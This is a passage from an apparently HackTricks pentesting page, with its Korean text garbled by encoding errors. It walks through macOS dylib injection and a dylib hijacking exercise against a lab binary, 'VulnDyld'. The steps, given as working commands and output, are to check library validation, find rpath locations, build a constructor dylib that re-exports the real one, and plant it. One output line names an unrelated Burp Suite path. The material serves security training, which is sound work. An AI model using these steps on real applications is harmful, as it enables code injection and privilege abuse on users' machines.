int main()
{
printf("Hello, World!\n");
return 0;
}
```
μ£Όμ
:
```bash
DYLD_INSERT_LIBRARIES=inject.dylib ./hello
```
## Dyld Hijacking Example
νκ² μ·¨μ½ λ°μ΄λ리λ `/Applications/VulnDyld.app/Contents/Resources/lib/binary`μ
λλ€.
{% tabs %}
{% tab title="entitlements" %}
codesign -dv --entitlements :- "/Applications/VulnDyld.app/Contents/Resources/lib/binary"
[...]com.apple.security.cs.disable-library-validation[...]
{% endtab %}
{% tab title="LC_RPATH" %}
{% code overflow="wrap" %}
```bash
# Check where are the @rpath locations
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep LC_RPATH -A 2
cmd LC_RPATH
cmdsize 32
path @loader_path/. (offset 12)
--
cmd LC_RPATH
cmdsize 32
path @loader_path/../lib2 (offset 12)
```
{% endcode %}
{% endtab %}
{% tab title="@rpath" %}
{% code overflow="wrap" %}
```bash
# Check librareis loaded using @rapth and the used versions
otool -l "/Applications/VulnDyld.app/Contents/Resources/lib/binary" | grep "@rpath" -A 3
name @rpath/lib.dylib (offset 24)
time stamp 2 Thu Jan 1 01:00:02 1970
current version 1.0.0
compatibility version 1.0.0
# Check the versions
```
{% endcode %}
{% endtab %}
{% endtabs %}
μ΄μ μ 보λ₯Ό ν΅ν΄ μ°λ¦¬λ **λ‘λλ λΌμ΄λΈλ¬λ¦¬μ μλͺ
μ νμΈνμ§ μκ³ ** μμΌλ©° **λ€μ μμΉμμ λΌμ΄λΈλ¬λ¦¬λ₯Ό λ‘λνλ €κ³ μλνκ³ μλ€λ κ²μ μ μ μμ΅λλ€**:
* `/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib`
* `/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib`
νμ§λ§ 첫 λ²μ§Έλ μ‘΄μ¬νμ§ μμ΅λλ€:
```bash
pwd
/Applications/VulnDyld.app
find ./ -name lib.dylib
./Contents/Resources/lib2/lib.dylib
```
κ·Έλμ, κ·Έκ²μ νμ·¨νλ κ²μ΄ κ°λ₯ν©λλ€! **μμμ μ½λλ₯Ό μ€ννκ³ μ ν λΌμ΄λΈλ¬λ¦¬μ λμΌν κΈ°λ₯μ μ¬μμΆνμ¬** λΌμ΄λΈλ¬λ¦¬λ₯Ό λ§λμΈμ. κ·Έλ¦¬κ³ μμλλ λ²μ μΌλ‘ μ»΄νμΌνλ κ²μ μμ§ λ§μΈμ:
{% code title="lib.m" %}
```objectivec
#import
__attribute__((constructor))
void custom(int argc, const char **argv) {
NSLog(@"[+] dylib hijacked in %s", argv[0]);
}
```
{% endcode %}
μ»΄νμΌνμΈμ:
{% code overflow="wrap" %}
```bash
gcc -dynamiclib -current_version 1.0 -compatibility_version 1.0 -framework Foundation /tmp/lib.m -Wl,-reexport_library,"/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" -o "/tmp/lib.dylib"
# Note the versions and the reexport
```
{% endcode %}
λΌμ΄λΈλ¬λ¦¬μμ μμ±λ μ¬μμΆ κ²½λ‘λ λ‘λμ μλμ μ
λλ€. μ΄λ₯Ό λΌμ΄λΈλ¬λ¦¬λ₯Ό λ΄λ³΄λ΄κΈ° μν μ λ κ²½λ‘λ‘ λ³κ²½ν©μλ€:
{% code overflow="wrap" %}
```bash
#Check relative
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 48
name @rpath/libjli.dylib (offset 24)
#Change the location of the library absolute to absolute path
install_name_tool -change @rpath/lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib2/lib.dylib" /tmp/lib.dylib
# Check again
otool -l /tmp/lib.dylib| grep REEXPORT -A 2
cmd LC_REEXPORT_DYLIB
cmdsize 128
name /Applications/Burp Suite Professional.app/Contents/Resources/jre.bundle/Contents/Home/lib/libjli.dylib (offset 24)
```
{% endcode %}
λ§μ§λ§μΌλ‘ **νμ·¨λ μμΉ**μ 볡μ¬ν©λλ€:
{% code overflow="wrap" %}
```bash
cp lib.dylib "/Applications/VulnDyld.app/Contents/Resources/lib/lib.dylib"
```
{% endcode %}
κ·Έλ¦¬κ³ **μ΄μ§ νμΌμ μ€ν**νκ³ **λΌμ΄λΈλ¬λ¦¬κ° λ‘λλμλμ§ νμΈ**ν©λλ€:
"/Applications/VulnDyld.app/Contents/Resources/lib/binary"
2023-05-15 15:20:36.677 binary[78809:21797902] [+] dylib hijacked in /Applications/VulnDyld.app/Contents/Resources/lib/binary
Usage: [...]
{% hint style="info" %}
ν
λ κ·Έλ¨μ μΉ΄λ©λΌ κΆνμ μ
μ©νλ λ°©λ²μ λν μ’μ κΈμ [https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/](https://danrevah.github.io/2023/05/15/CVE-2023-26818-Bypass-TCC-with-Telegram/)μμ μ°Ύμ μ μμ΅λλ€.
{% endhint %}
## λ ν° κ·λͺ¨
μμμΉ λͺ»ν μ΄μ§ νμΌμ λΌμ΄λΈλ¬λ¦¬λ₯Ό μ£Όμ
νλ €λ κ²½μ°, νλ‘μΈμ€ λ΄μμ λΌμ΄λΈλ¬λ¦¬κ° λ‘λλ λλ₯Ό νμΈνκΈ° μν΄ μ΄λ²€νΈ λ©μμ§λ₯Ό νμΈν μ μμ΅λλ€(μ΄ κ²½μ° printfμ `/bin/bash` μ€νμ μ κ±°νμμμ€).
```bash
sudo log stream --style syslog --predicate 'eventMessage CONTAINS[c] "[+] dylib"'
```
{% hint style="success" %}
Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks μ§μνκΈ°
* [**ꡬλ
κ³ν**](https://github.com/sponsors/carlospolop) νμΈνκΈ°!
* **π¬ [**Discord κ·Έλ£Ή**](https://discord.gg/hRep4RUj7f) λλ [**ν
λ κ·Έλ¨ κ·Έλ£Ή**](https://t.me/peass)μ μ°Έμ¬νκ±°λ **Twitter** π¦ [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**λ₯Ό νλ‘μ°νμΈμ.**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) λ° [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) κΉνλΈ λ¦¬ν¬μ§ν 리μ PRμ μ μΆνμ¬ ν΄νΉ νμ 곡μ νμΈμ.**
{% endhint %}